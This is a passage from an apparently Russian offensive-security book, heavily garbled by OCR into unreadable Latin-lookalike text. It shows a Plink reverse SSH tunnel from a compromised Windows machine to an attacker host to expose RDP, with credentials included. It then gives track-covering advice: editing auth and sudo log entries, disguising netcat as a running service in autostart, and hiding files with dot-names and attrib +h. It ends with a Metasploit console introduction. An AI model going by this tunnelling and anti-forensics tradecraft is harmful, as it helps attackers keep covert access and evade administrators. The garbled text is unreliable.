poc: a 9to e jeyaarh ¢ Windows-marmnnamu, Be/ib B COBPEMEHHO#T CeTH MX 0OBIYHO
JIOCTATOYHO MHOTO U, YYUTBIBAsA OrPaHUUYEHHbIE TPABa TOCTYIIA, HE TAK-TO MPOCTO
ycranouth Ha HUX SSH-cepsep? Ha Boipyuky npuxoaut plink.

PuTTY Link, uiau Plink, — koHconbHas yTuaUTa, pacipocTpaHseMas BMeCTe
¢ PuTTY (uonynsapusiii SSH- u Telnet-kauent). 9Ta yTuauTa npeaHasHadeHa st
asromartusaruu pabotel ¢ PuUTTY u PSCP (PuTTY SCP client), npermytiiecTBeHHO
B CKPHUIITaX.
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Plink MOHO MCIIOTB30BATH /IS IOAKJIIOUYEHUS K YAAJTCHHBIM CEPBEPaM U BBITIOJIHE-
HUS KOMaHJ, Tak ke Kak 1 B kiaccuyeckoM SSH. Onnaxo Plink o6saaeTr Heckounb-
KUMU KJIIOYEBBIMU OCOOEHHOCTSIMMU:

e tnockosbky Plink cosnana s Windows, ora paboTaeT XOpolio ¢ APYTrHMH Ipo-
rpaMMaMM 3TOH OTepPaIMOHHON CHCTEMBI M MOKET OBITh MCIOJIb30BAHA B KOMAH/I-
Holi ctpoke Windows u ckpunrtax PowerShell;

e nomumo SSH, Plink mognepsxusaer Telnet, Rlogin u mporokosist raw TCP.

IIpeanososKmM, HaM yAaJ0Ch IPOHUKHYTh Ha MaIuHy 1oz yipasaeHueM Windows 10
U TIOTYIUTH OGPATHBIN MIEJLT; TOCMOTPHM, YTO MBI MOJKEM C/IE/IATh JATbIIE.

[IepBoe neticTBuUE, KOTOPOE pacCCMAaTPUBAIOCDH B TIPEBIAYIIEH I1aBe, — 3TO Tiepefavya
baitra. Bropoe, 4TO MBI JIOJKHBI BBITIOJHUTD, — OCYIIIECTBUTD TIONCK TIOPTOB, Yepe3
KOTOPbIe BO3MOKHO IIOJIKJIIOYEHNE.

[TpemromnoskumM, mocie peleHnst TUX IBYX 33124 MbI TIOHSJIU, YTO XOTUM HCITI0JIb-
30BaTh mopt 3389 st nozkiaouenus k RDP-cepsepy. /Lyt aTOro Ha B3jIoMaHHON
MallTiHe BBIITOJTHIM CJIeYIONIYI0 KOMAH/Y:

C:\Users\test\Downloads> plink.exe -ssh -1 root -pw test1234 -R 10.83.10.2:
1234:127.0.0.1:3389 10.83.10.2

Wraxk, mbl ipumennn yruauty Plink aus cospanns SSH-TyHHES ¢ MCIIOAb30BaHU-
em poTokoJia Remote Port Forwarding co cieayrormmmu mapaMeTpamu;

® plink.exe — ucnomnnsiembiii gaiin yruaurs Plink;

® -ssh — ucnosb3oBanre SSH-POTOKOJIA JIJIs TIOAKIIOYEHUS K YIAJTEHHOMY Ccep-
BeEpY;

® -1 root — ykasaHue UMEHH TI0JIb30BATEJIsI IJIsT TTOAKIIOYEHUS K YAAJIECHHOMY
cepBepy;

® -pw testl234 — mepemada mapoJis AJist HOJb30BATEISI rOOt;

® -R 10.83.10.2:1234:127.0.0.1:3389: 10.83.10.2:1234 — ykazanue [P-
ajzipeca ¥ MopTa, Ha KOTOPBIX OyAeT IIPOCIYLUIMBATHCI YAAJEHHBbI CepBep;

127.0.0.1:3389 — ykaszanue [P-ajpeca u nopta, Ha KoTopbie Oy/IeT TepeHa-
MPaBIATLCSA TPAPUK.



CoKkpbiTHe cnenos

YT00BI TIPOIOJLKATE YCIEITHO SKCIIYaTUPOBATh 3aXBAYCHHYIO CUCTEMY, HaM HAJ0
MOCTAPaThCS CKPBITH caM (haKT CBOETO TIPUCYTCTBUS B ee nH(ppacTpyKType. Mol yike
Hay4nInch 0OXOIUTD MpaBuJIa (haiiepBoia 1 epeiaBaTh JaHHbIE B 3aTN(POBAHHOM
BH/IE, Terepbh OCHOBHOM 3ajiaueil Gy/IeT COKPBITHE CJIE/I0B, OCTABJISIEMBIX Ha MallluHe,
KOTOPYIO MBI 9KCILIIyaTUPYEM.

B niepByto ouepesb Mbl OyeM oOpaiath BHUMAHNE, KOHETHO, Ha JKyPHAJIBI ayIUTa
nsn Jtor-aitsl. Jlor-daiiib copepxaT nHGOPMALIMIO O COOBITUSX, TIPOUCXOAIINX
B OIIEpPaLMOHHOIT cucTeMe Wiln JIIoGOoM APYroM IporpaMMHoM obecniedennn. Kaxmast
3anuch B Jor-gaiine 00bIYHO COAEPKUT MHPOPMALIUIO O KOHKPETHOM COOBITUH, KO-
TOPOE TPOUBOIILIO B ONPe/IeJIEHHBIIT MOMEHT BPEMEHH.

.HOI‘-(l)anIbI HCITOJIB3YIOTCA B CJIEAYIOINX IEJIAX:

® OTJiaJIKa — I1OMOTalOT B BbIsIBJI€EHUU U I/ICHpaBJIeHI/H/I OH_[I/I6OK B HPI/I]IOHQCHI/IHX;
e ayaut 6esomacuoct IC;

® MOHMTOPMHI IIPOM3BOJIUTEIBHOCTH — cojiepkaliiascs B jor-aiiax nnhopmarms
0 IIPOM3BOIUTEIBbHOCTH CUCTEMBI MTO3BOJISET /IMUHUCTPATOPAM OIITUMU3UPO-
BaTh €¢;

® (e30macHOCTb — MOTYT ITOMOYb a/IMUHUCTPATOPAM BBIABUTD TMOJIO3PUTEIILHYIO
AKTNBHOCTD.

CucremMHuble aIMUHUCTPATOPBI IOJKHBI U3YUYaTh JIOT-(hailsIbl, XOTS WHOT/IA TPeHe-
Gperarot 3Toi 00s13aHHOCTDIO. VI3yueHne MOKET IPOUCXOIUTD B PYYHOM PEKUME, HO
BCe yallle U vyarie a/IMUHUCTPATOPbI uctomb3yioT 110, koTopoe genaet aTo 3a Hux. Ha
CaMOM JIeJie 3TO MTPaBUIILHO, BElb OJIHA GoJiee-MeHee KPYITHast CHCTEMa MOKET TIPOH3-
BOJMTH CTOJIBKO 3allKCeil B CBOI JKyPHAJI, CKOJIBKO UEJIOBEK HE CIIOCOOEH BIYMYUBO
MPOYUTATH 32 TO/I.

Manunynauus nor-cdannamm

Wrak, Mbl IOHAIN, /U4 YeTO aIMUHUCTPATOPaM HY’KHBI JIoT-(hailiibl, Ternepb pas-
GepeMcst ¢ MX THIMAMU. YCJIOBHO MOJKHO Pa3/le/IuTh JKYPHAJBI HA [BE YACTI: T€, YTO
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BEJIET CUCTEMAQ, U TE€, YTO BEAYT NPUJTOKCHHUA. Mur JLOJIZKHBI 6leEM MaHUITYJINPOBAaTh
U TEMU U IPYTUMU B 3aBUCUMOCTH OT KOHTEKCTA, B KOTOPOM pa60TaeM.

[IepBoe, UTO MPUXOJUT B TOJIOBY B IAaHHOW CUTYyaIluH, — yIAJNUTh IIOJHOCTHIO BCE
soru. KoHeuHo, 3TO TTOMOKeT HaM 3aMeCTH BCe CJIEBI, HO C IPYTOil CTOPOHBL, 3TO
He TaKas Xoporras ujest. Bo-mepBbix, 3aka3urk Oy/eT He Pajl TOMY, 4TO BbI CTEPJIH
JIOTH C CEPBEPOB, BE/Ib 10 3aKOHY HEKOTOPBIE M3 HUX OH 00sI3aH XPAHUTH HECKOJIBKO
siet. Bo-BTOPBIX, yIajgeHue JOToB MOJKET BbI3BATh ¢HOOil B cHcTeME, O ueM 0OBIYHO
aJIMUHUCTPATOPBI ITOJIyYalOT YBeJOMJICHNE.

ITosTOMY MBI OCTAHOBMMCSI HA TOM, UTO Oy/IleM MaHUITYJIUPOBATH 3AIMCSIMU B JIOT-
(hatimax. OgHaKo yuTHTe, UTO HEKOTOPBIE OPTAHU3AINN MOTYT NCTIOJIB30BATh IIEHTPa-
JIM30BaHHbIE CUCTEMBI XpaHeHMst 1 00pabOTKY JKypHATIOB aynTa. B manHoMm ciydae,
Jlaske ecJin Bbl MOCT(hAKTYM U3MEHHUTEe KaKkue-Jubo 3amnucu B Jor-daiinax, 6ymaer
yoKe 1o371H0. HensaMeHeHHast 3aMUCh MTOMA/IET Ha cepBep, OY/IET MPoaHaTu3MPOBaHa,
U BaIlly AeATeIBHOCTb PAcKpoioT. Ha camom fiesie B peasibHOM JKM3HU CIIPABEJINBO
BCe CKa3aHHOE, 32 MCKII0YEHNEM TI0CIe/IHeT0. BBUIY TOTO UTO 4acTO CHCTEMBI 3a-
IIUTHI OBIBAIOT CKOH(MUTYPUPOBAHBI HE COBCEM TIPaBUJIBHO, aIMUHUCTPATOPHI He
MOJIYYaAIOT YBEIOMJIEHUI MJIU TTOTYYatoT X CIUIIKOM MHOTO, U BaIllU JE€HCTBUI,
CKOpee BCEro, OCTAHYTCST He3aMeUeHHbIMUL.

3anucu 0 Nosnb3oBaTensax

MDaiin /var/log/secure sIBJISIETCST OIHUM M3 Ba)KHEUIIINX CUCTEMHBIX JIOT-(hallI0B
B Linux, ocobeHHO B Takux ocHoBaHHBIX Ha Red Hat auctpubyrnsax, kak CentOS
u Fedora. 9rort daiisn coaepkut nHOOPMALHIO OT PAsIMIHBIX cJIy:K0, BKIoyas SSH,
sudou . /1.

Crpykrypa (aiina gocraTouno npocra. Kaxkaas crpoka mpezacrasisier coboil oT-
JeJbHYTO 3AMUCh, HAYMHAIONIYIOCS] C BDEMEHHOU METKH, 32 KOTOPOIl CJIEAYeT MM
X0CTa, UMST CITYsKOBI WJIK MTPOIlecca, CreHEPUPOBABIIErO COOOIIEHNUE, a 3aTeM UAET
camo coob1eHue.

ITpumep 3amnucu B /var/log/secure:

Nov 15 20:30:01 localhost sshd[1234]: Failed password for root from
192.168.1.101 port 22 ssh2

31ech ckazano, 4yTo 15 Hos6ps B 20:30:01 ObL1a HeygauHas MMOIIBITKA BXO/A [10JIb30-
BareJisi root uepe3 SSH ¢ IP-anpeca 192.168.1.101.

Yro0bl HANTH HOIBITKY BXOAA B CUCTEMY, MCIOJIb3yiiTe KoMaH1y grep. Hampumep,
€CJTM BaM HaJI0 HAlTU BCe HeyauHble MONbITKY BXxo/a yepe3 SSH, 3aaiite ciemyio-
Y10 KOMaH/TY:

grep 'Failed password' /var/log/secure

ITa KOMaH/la BEPHET Bce CTPOKH, cozepskarue ¢pasy «Failed passwords, kotopast
0OBIYHO CBUETENTBCTBYET O HEYAAUHBIX TOIBITKAX BXO/IA.
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Pacemorpum eme omnn mpumep. [Ipeamnosnoskim, BbI HECKOTBKO pa3 MbITAINCH T10-
BBICUTH CBOU IIPUBUJIETMH B CUCTEME M Y BaC 3TO IOJYYUJIOCH, HO Tellepb HYKHO
VAQJINTD U3 JKypHaJIa 3allMCH O CBOUX JIeNCTBUAX. Hey/iauHble MONbITKY MOBBIIIEHUS
npuBUIernii 00buHO oToOpaskaiores B daiine /var/log/secure Kak pe3yIbTaThl Bbl-
IIOJTHEHUA KOMAaH/IBI sudo.

HpI/IMep 3alluCcH1 Heyaaquﬁ MOTIBITKU UCIOJIb30BaHUA sudo MOYKET BBITJISAIETH TaK:

Mar 1 14:15:40 localhost sudo: john : 3 incorrect password attempts ;
TTY=pts/@ ; PWD=/home/john ; USER=root ; COMMAND=/bin/ls

ITa 3aMMCh CBUIETETBCTBYET O TOM, YTO MOJIH30BATEIb JOhN MBITANCS BBITOJIHUTD
KoMaH/y 1s ¢ ToMoIIbIo sudo (¢ IIpaBaMu 110JIb30BaTe I oot ), HO BBEJ HEIIPABUJIb-
HBII TIapoJIb TPH pa3a. B maHHOM ciydae TTY=pts/@ o603HayaeT TePMHUHAJ, C KOTO-
poro 6blyia BBITIOJIHEHA KOMaH/[a, PWD=/home/john yKka3biBaeT Ha pabouUil KAaTaJIoT,
r7ie OHa OblIa BBIIOJIHEHA, a COMMAND=/bin/1s coobmaet, Kakasd KoOMaHa 10/ KHA
6bL1a GbI OBITH BBITIOJIHEHA.

XypHanbl NpunoXeHuin

@aiin /var/log/messages 06bIYHO CIYKUT JJIsE XPAHEHUs OOIMX COOBIIEHMIT O CH-
CTEMHDbIX CO6bITI/IHX, KOTOpbIE HE OTHOCATCA K 6630HaCHOCTI/I WNJIN aBTOpU3alinum, — 3T
COOBITHSI, B 3aBUCUMOCTHU OT UCTPUOYTHBA, 3amuchiBatotest B /var/log/secure nim

/var/log/auth.log.

B /var/log/messages XpaHsATCs JIOTH PA3IMYHBIX CHCTEMHBIX CITYIKO 1 sI/IPa CUCTEMBI,
BKJIIOYast WHMOPMAIIUIO O 3ayCKe ¥ OCTAaHOBKE CJIyKO, coobIeHnst 06 onmoKax,
MPeYIPERACHUS 1 IPYTYIO InarHocTuaecKyto nagopmanuio. Kaxaas crpoka mpe-
craBJisieT co00iT OTAENbHYO 3alUCh, HAYMHAIOTIYFOCS ¢ BDEMEHHON METKH, 32 KOTOPOU
CIIEYeT UMS XOCTa, UMST CTYKOBI WM TPOTECC, CTEHEPUPOBABIITETO COOOTIEHTE,
3aTeM CJIEIyeT caMo COOBIIeHHe.

ITpumep 3amnucu u3 daiira /var/log/messages:

Jan 1 12:34:56 localhost kernel: [12345.678910] usb 1-1: new high-speed USB
device number 2 using ehci-pci

B sroit 3anucu roBopurcest, uto 1 staBapst B 12:34:56 6b1710 niosikIII04eHO HOBOoe USB-
YCTPOMCTBO.

ITpocMmoTpers copepxkumoe daiina /var/log/messages MOKHO ¢ TIOMOIIBIO KOMaH/I
cat, less i tail. YToObI IPOCMOTPETD TOIBKO MOCAEAHIE 3AIICH, UCIIOIb3YITe
KoMmaHay tail, Hanpumep: tail /var/log/messages.

Ber yike, HaBepHOE, 06paTUIM BHUMaHe Ha TO, uTo B Unix u Unix-mogo6HbIX
OTIEPAIMOHHBIX crcTeMax (BKJIOUas Linux) cTaHIapTHBIM MECTOM JIJIST XPAHEHWS
Jior-aiiios sBisercs Kataior /var/log. Kaxiplii cepBuc nim npuiokeHne oObIaHO
3aIMCBIBAET CBOU JIOTH B OJIMH MJIM HECKOJBKO (haiijIoB B 9TOM KaTajore Wi B €ro
MOJIKATaJIoTe.
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Camu (l)af/,UIbI JIOTOB 3aIlTMCBhIBAIOTCA, KaK IIPpaBUJIO, B TECKCTOBOM (bopMaTe 1 COCTOAT
13 OTZIEJBbHBIX CTPOK, KaK/1asd N3 KOTOPBIX ITPEACTABJIACT co0oli 3armce B JKYpHaJI€e.
3anmcn 0OBIYHO HAYMHAIOTCS C BpeMeHHOﬁ METKH, 3aTE€M CJIEAYET NM:A CEPBUCA NN
Tporiecca, KOTOprfI CTeHEepUPOBaJI 3alIMCh, a 3aTEM CaMO COO6H_I€HI/IC.

Hanpuwmep, B ogkarasore /var/log/apache2/ o6praHo xpassitest ioru Beb-cepBepa
Apache. [laBaiiTe paccMOTPUM ITPUMEP, B KOTOPOM BbI OCYIIECTBJISIETE HATIPABJICH-
HYI0 Ha OAGOP TIAPOJIs aTaKy OT 3aKPBITOH TUPEKTOPHN,

B mor-aiinax oHa MOJKET BBITIISIZIETh KAK MHOKECTBEHHBIE 3aTIPOCHI K KOHKPETHOMY
URL, wacro cBsizaHHOMY ¢ cuctemoil ayrentudukanuu (/login.php, /admin, /wp-
login.php st caiitos Ha WordPress u T. 11.). JIto60ii 3amipoc Gy/IeT COMPOBOKAATHCST
passmanbiME apamerpamu POST, Kak/Iblii 13 KOTOPBIX IPECTABIISIET COOOI pasHbie
KOM6I/IHaHI/H/I NMEHU T10JIb30BaTe I 1 ITapOoJIdi.

B sor-aiiiax 370 MOKET BBITJISIZIET TPUMEPHO TaK:

192.168.1.1 — - [24/May/2023:13:25:13 +0000] "POST /login.php HTTP/1.1" 200 4523

192.168.1.1 — - [24/May/2023:13:25:14 +8000] "POST /login.php HTTP/1.1" 200 4523
192.168.1.1 — - [24/May/2023:13:25:14 +8000] "POST /login.php HTTP/1.1" 200 4523

B atom npumepe 192.168.1.1 — [P-azpec ncrounuka, /login.php — 3amnparnmBae-
mbrit URL, POST /login.php HTTP/1.1 — HTTP-3anpoc.

TeHepb Bbl 3Ha€Te, rjae HeO6XOHI/IMO HCKaTb CJ€/Ibl Balllero NPUCYTCTBUSA B CUCTEME.

CokpbiTne annos

B miporiibIx riaBax Hatlleil KHUTH MBI yKe PACCMOTPEN CIIOco0bI Tiepeaun (hailios
Ha B3JIOMaHHBIN cepBep U 3HAeM, KaK 3aKPEMUTHCS BO B3JIOMaHHOI cricTeMe. Temepnb
HaCTaJIo BpeMsi 03a00TUTBCS BOIIPOCOM, KaK C/e/IaTh TaK, YTOObI aiIMUHUCTPATOPDI
He 3aMeTuJn (haiisibl, KOTOPBIE MBI OCTABUJIM HA UX CEPBepax.

MackunpoBka

OWH U3 caMbIX MPOCTBHIX CIIOCOOOB CIPATATH (hallJi — 3aMaCKUPOBATH €T0 IO/
npyroit daiir. [Ipeamososkum, BbI XOTUTE 3aMacKupoBath (aiia netcat. [lepsoe, uto
IIPUXOAUT B I'OJIOBY, — 9TO AaTb €My UM/, ITOXO0Kee Ha UM OJITHOTO U3 3allyI€HHbIX
CEepBUCOB.

¥Y3HaTh, KaK1e CepPBUCHI 3aITyTIEeHbI B JAHHBIN MOMEHT, TIOMOKET KOMaH/a systemctl:
#systemctl --type=service --state=running

UNIT LOAD ACTIVE SUB DESCRIPTION >

colord.service loaded active running Manage, Install and Generate >
cron.service loaded active running Regular background program pr>
dbus.service loaded active running D-Bus System Message Bus
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getty@ttyl.service loaded active running Getty on ttyl

haveged.service loaded active running Entropy Daemon based on the H>
juice-shop.service loaded active running juice-shop web application
lightdm.service loaded active running Light Display Manager
ModemManager.service loaded active running Modem Manager
NetworkManager.service loaded active running Network Manager
open-vm-tools.service loaded active running Service for virtual machines >
polkit.service loaded active running Authorization Manager
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy>
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running User Login Management
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running Rule-based Manager for Device>
udisks2.service loaded active running Disk Manager

upower.service loaded active running Daemon for power management
user@1000.service loaded active running User Manager for UID 1000
user@l25.service loaded active running User Manager for UID 125

3Hasi, KaKue CepBUCHI 3aITyIIEHbI, MBI MOKEM MEPEHMMEHOBATDH HAI UCTIOJHSIEMbIi
daii, ckaxkeM, B udisks3 — ckopee Bcero, OH OCTaHETCST HE3aMEeUEHHbBIM.

To sxe KacaeTcss ¥ CEPBUCOB, KOTOPBIE 3aTPYKAIOTCS BMECTE C CEPBEPOM: TIOMHUTE,
B MIPEBIAYIIEH TIaBe Mbl 00BN NC B aBTO3arpy3Ky? [oJydnTh CIUCOK CEPBU-
COB, 3aITyCKAIOITIXCS BMECTE C CUCTEMOM, MOKHO ITPHU IIOMOIIIH TOM jK€ KOMAH/IbI:

#systemctl list-unit-files --type=service

UNIT FILE STATE PRESET
apache-htcacheclean.service disabled disabled
apache-htcacheclean@.service disabled disabled
apache2.service disabled disabled
apache2@.service disabled disabled
apparmor.service disabled disabled
apt-daily-upgrade.service static -
apt-daily.service static -

atftpd.service indirect disabled
auth-rpcgss-module.service static -
autovt@.service alias -
avahi-daemon.service disabled disabled
blueman-mechanism.service disabled disabled
bluetooth.service disabled disabled
colord.service static -
console-getty.service disabled disabled
console-setup.service enabled enabled
container-getty@.service static -
cron.service enabled enabled
cryptdisks-early.service masked disabled
cryptdisks.service masked disabled

Tenepb Bbl 3HAaeTe, KAK HAJI0 HA3BATH CEPBUC, 100aBJISIEMbIIl B aBTO3aTPY3KY.
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Mcnonb3oBaHue haiioBON CUCTEMBI

B Unix-mogo6HbBIX crucTeMax, BKIUas Linux, mpocTeluil ¢crmocod «CKPhITh»
(ailsn — aTo HauaTh ero uMs ¢ Touku (Hanpumep, .hidden_file). Takue daiinbr mo
YMOJTYaHUIO He 0TOOPAKAIOTCS TIPU UCTIOIh30BAHIH KOMAH/IbI 1s 1 B TpahuecKux
(baitnoBBIX MeHeKEPaX.

JIpyroii criocob «crpsTaTby (hailr — MOMECTUTD €T0 B MAJIOM3BECTHYIO UJIH PEIKO HC-
MOJTb3yEeMYI0 INPeKTOpHIo. JlJIst oncKa TaKoit IMPEKTOPIH MBI MOKEM HCTIOJIB30BaTh
koManay find. /luig ocyiecTBaeHus 3a/lyMaHHOTO HCIIOJIb3YeM IapaMeTp -atime,
KOTOPBII MO3BOJISIET UCKATh (Dailyibl U IUPEKTOPUHU, YUYUTBIBAS BPEMs MIOCJIEIHEr0
JIOCTYTIA.

Hampumep, caepyionast KoMaHia HalJIeT Bce AMPEKTOPUN B TEKYIIEH TUPEKTOPUT
1 TTO/IZITTPEKTOPHSIX, K KOTOPBIM He TIOJIy4asn I0CTyna B TedeHue rnocyeaanx 30 1Hed:

find . -type d -atime +30

[TapameTpsl, uctoIb3yeMble B 3TOM TIpUMepe:
® . yKa3bIBaeT Ha TEKYIILYIO IUPEKTOPUIO;
® -type d OTpaHMUYMBAET MTOUCK TOJBKO AUPEKTOPUIMU;

® -atime +30 BBIOMpPAET TOJNBKO Te (hailyibl U AUPEKTOPUH, K KOTOPHIM HE moJIyqyaaun
nocryma 6osee 30 aHeid.

CkpbiTble dannbl B Windows

Bce, uro MbI onucasu auist Linux, 6e3 mpobsieM MepeHOCUTCs Ha MAIUHbI IO/ YIIPaB-
nerrem Windows, 3a MicKIioueHHeM 0JIHOTO MoMeHTa. Ecom ftst Toro, 4To6sl crips-
tath aiin B Linux, Mbl UCIIOIb30BAJIM TOUKY Tiepe]l MeHeM (aiiia, To B hailioBoi
cucreme NTFS ectb crienuanbhbiii arpudyt hidden, koTopbiii MOKHO ycTaHOBUTH
Jepe3 KOMaH/HYIO CTPOKY.

3aznaercs arpubyT hidden daitny win gupekropun B KoMaHaHOI ctpoke Windows
C IIOMOIIbI0 KOMaH/bI attrib. /[ aTOro 3amycrute KOMaHAHYIO CTpOKyY. Haxmure
kaapumy Win + R, 4T0OBI OTKPBITH AMAJI0TOBOE OKHO BbIMNOHUTL, BBEAUTE cmd 11 Ha-
smute Enter. Mcrosb3yiitTe koMaHIy attrib cieayomum o6pasom:

attrib +h nyTb_k_danny_wnu_ampekTopuu

Hampumep, uTo6bi CKpbITH (haii o HasBaHeM example.txt Ha aucke C, BbI MOXKeTe
HCII0JIb30BATD CJIEYIONLYI0 KOMaHLy:

attrib +h C:\example.txt

B artom cayuae +h o6asasier arpubyT hidden x ykazannomy daitry nim iupekToprn.
Yr06b1 cenaTh (ail uin JUPEKTOPUIO CHOBA BUAUMBIMHE, KCIIOJIb3YiiTe -h BMECTO
Hero.



Metasploit Fremework

Metasploit Framework — aro nporpammuast rmiatdopma st pa3zpaboTKK, TeCTH-
poBaHUsI U IPUMeEHeHUsT aKCIIoNTOB. Metasploit Ob11 cozman B 2003 rogy Kak uH-
CTPYMEHT JIJIsl TECTUPOBAHUSI ceTeBOi GezonacHocTH, a B 2007 roy ObLI TOJHOCTHIO
Tiepenucan Ha sSI3bIKe mporpamMuposanust Ruby. B Hactosiee Bpemst ak THBHO TOJT-
MEePRUBAETCS U Pa3BUBaeTcs Kommanueit Rapid7, koTopas mpearaet Be Bepcuu
MPOJYKTa — MJIATHYIO U GECTUIATHYIO, PACCMOTPEHHEM KOTOPOIT MBI 3aiiMEMCST J1aiee.

[Touemy 11es1as T1aBa TMOCBANIAETCS ONMUCAHUIO OJHOTO MTPOTPAMMHOTO TTPOIYKTA?
Bo-1mepBbiX, 3TO OUeHb JTUHAMUYHO PA3BUBAIONIUICS TIPOEKT, KOTOPBIN MMOCTOSTHHO
HOJIEPKIUBAECTCS U PETYJISIPHO OOHOBJISIETCS, UTO SABJSETCS KU3HEHHON HE06X0-
JUMOCTBIO B CTOJIb OBICTPO MEHSIONIEMCST MUPe WHHOPMAIIMOHHON 6e30TTacHOCTH.
Bo-BTOPBIX, OH COAEPKUT HEOOXOAUMbBIE HHCTPYMEHTHI JIJIst Pa3pabOTKU U CO3IAHUS
9KCIJIOWTOB U, YTO CaMOE BA)KHOE, CTAHJIAPTU3UPYET U ATOT MTPOIIECC, ¥ CaMO UX ITPH-
MEHEHHe.

Crout ckasaTh, uTo Metasploit yske gaBHO BbIIIE 32 paMKK PaspabOTKU U IPUMe-
HEHUS 9KCIIONTOB. B JIaHHBIIT MOMEHT €ro MOKHO MUCITOJTb30BAaTh HA BCEX CTAIMSIX
ayauTa 6e30IacHOCTH. B HeM eCTh MHCTPYMEHTHI /I aKTUBHOTO U IIACCUBHOTO cOopa
nH(bopMarLK, COOCTBEHHbII CKaHep YA3BMMOCTElN, MHCTPYMEHTBI JIJIS IOC/IeLYIONIEro
IIPOBE/IEHUST aTaK! U 3aKPETJIeHNs B CUCTEMe.

B unTepHeTe MOXKHO HaliTH GecTIaTHbIE KYPCh M KHUTH, TIOCBATIeHHbIe Metasploit,
MO3TOMY JIAHHOE M3/IaHKe He CTaBUT Tepell coO0il 3aauu 00yInTh YNTATENST BCEM
TOHKOCTAM HCIIOJIb3OBaHUA 3TOI'O 3aMevYaTeJIbHOTO ITPO/IyKTa. MbI ocTaHOBUMCS
JINIIb Ha CaMbIX OCHOBHBIX MOMEHTAaX, I{TO6I)I HpO6y[[I/ITb B YUTaTe/Ie MHTEPEC K alb-
HEHIeMy CaMOCTOSTEIbHOMY U3YYEHHTO TIaT(HOPMBIL.

OCHOBHbIE KOMIMOHEHTHI

Metasploit Framework cocTonT n3 HeCKOJbKIX KOMIIOHEHTOB:

e Mouyu — cepaite Metasploit. CyiiecTByeT HeCKOIbKO THITOB MOJLYJIEH, BKITFOUAsT
MOJLYJIW JIJIST 9KCILTyaTaIllu| ySI3BUMOCTEH, BCITIOMOTATeIbHbIE MOJLYJTH, MOJLY T
JI71ST TTIOCTAKCIITyaTalny, MOy Jin 1toste3Hoi Harpy3ku u NOP-moym.
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e MSFconsole — ocrosHol unTepdeiic gua paborsr ¢ Metasploit. On npegocras-
JISIET IIPUJIOKEHHE Il KOMAHIHON CTPOKH, KOTOPast IIO3BOJISIET II0/Ib30BATE/ISAM
B3aMMOJICIICTBOBATD C MO/YJISIMU Y BBIIOJHATH Pa3JInYHbIe KOMAH/IbL.

e Msfvenom — MHCTPYMEHT JIJist TEHEPAIINU U KOAUPOBAHUSI TIOJIE3HOM HArPY3KU.

e Dbaza JaHHBIX — CPEACTBO XpaHEHUA I/IH(I)OpMaLII/II/I O TECTUPYEMBbIX 00BeKTax CeTH,
YA3SBUMOCTAX 1N pe3yJbTaTaX BbIITIOJIHEHHBIX lIefICTBI/II';I.

e Metasploit RPC (ymaieHHBIIl BBI3OB TIPOIEAYP) — KOMIIOHEHT, TO3BOJISTIOTIHI
aBTOMATU3UPOBATh 3aaul U B3auMoeiictBoBaTh ¢ Metasploit yepes BHewHME
MPUJIOKEHUS M MHCTPYMEHTBI.

e Armitage u Cobalt Strike — rpaduueckue ob6omouxu ais Metasploit, obecrieun-
Baionme y100H0e B3auMOJIEHCTBHE ¢ MHCTPYMEHTOM.

NHTepdelic

[MTosxanyii, Hauath cTouT ¢ uHTepdeiica, Tem Gosee uro Metasploit npexnaraer
HECKOJIbKO BAPUAHTOB B3aUMOJIENCTBUS, KaK B rpauecKoM, TaK U B TEKCTOBOM
peKmIMe.

B Metasploit ectb aBa pasnuuHbIX BapuaHTa KoMaHaHoro unrepdeiica. Ilep-
BbIii — 9T0 msfcli, HO MbI He OyzeM TPATUTh BPEMs Ha €ro PacCMOTPEHME, TaK KaK
¢ cepeaunbl 2015 roga on 6oJIblIe He OAAePKUBaeTcs. BTopoil BapuanT — UCII0b-
soBanue msfconsole. Msfconsole, HaBepHoe, camblii oy I pHbIi Bu nHTEpdEiica
Metasploit Framework. O 1103BoJisgeT ObICTPO 1 YIOOHO 110/1b30BaThCs aGCOIIOTHO
BceMu (QYHKIUIME 1 Bo3MoskHOCTsIMU Metasploit. Kpome Toro, B msfconsole ectp
BO3MOKHOCTH IIPUMEHSITD HE TOJBKO COOCTBEHHbBIE MHCTPYMEHTBI, HO U CTOPOHHIE
YTUJIUTHIL.

Il pa6otel ¢ msfconsole cylecTByer crienuabHbIii HAOOP KOMAH/I; IIPOCMOTPETh
UX, a TAK)Ke TMONYIUTh KPATKYIO CIPABKY 0 KayKIOH MOKHO € MTOMOIIBIO KOMaH-
16l help. He crpaliiHo, ecyi BBl He 3alIOMHHTE Ha3BaHUS BCEX KOMAHJ U MOJYJICH,
HY’KHO 3aITOMHUTH XOTSI OBI TTepBble CUMBOJIBI HA3BAHUN — TOCJIE UX BBEIEHUS Ha-
JKMUTE KJaaBuiny tab, 1 KOHCOJIb caMa JIOTUIIET OKOHYaHHUE.

[TpopemoncTpupyem 3amnyck ¢ppeiiMBOPKa U BBIBOJ CIPABKU MO BCTPOEHHBIM
KOMaH/IaM:

root@kali:~# msfconsole

=[ metasploit v6.3.4-dev

1
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion 1

Metasploit tip: Tired of setting RHOSTS for modules? Try
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globally setting it with setg RHOSTS Xx.x.X.x
Metasploit Documentation: https://docs.metasploit.com/

msf6 > help

Core Commands

banner
cd

color
connect
debug
exit
features

unsetg
version

Module Commands

advanced
back
clearm
favorite
favorites

search
show
use

Description

Help menu

Display an awesome metasploit banner

Change the current working directory

Toggle color

Communicate with a host

Display information useful for debugging

Exit the console

Display the list of not yet released features that can be op
ted in to

Unsets one or more global variables
Show the framework and console library version numbers

Description

Displays advanced options for one or more modules

Move back from the current context

Clear the module stack

Add module(s) to the list of favorite modules

Print the list of favorite modules (alias for “show favorite

s7)

Searches module names and descriptions
Displays modules of a given type, or all modules
Interact with a module by name or search term/index

B nanbreiiniem Mbl OyeM KCIOJIb30BaTh UMEHHO 9TOT BapuaHT uHrepdeiica. Ente
omwH BapuanT uHrepdeiica Metasploit — Armitage (puc. 14.1). Kak y:xe ymomu-
Hasioch panee, B Metasploit ectb cobcTBeHHBIN rpadudeckuii mHTEpdeEiic, HO OH
JIOCTYTIEH TOJIBKO B KOMMEPYECKO BepcHy TPOyKTa. Armitage — aTo rpadhudeckuii
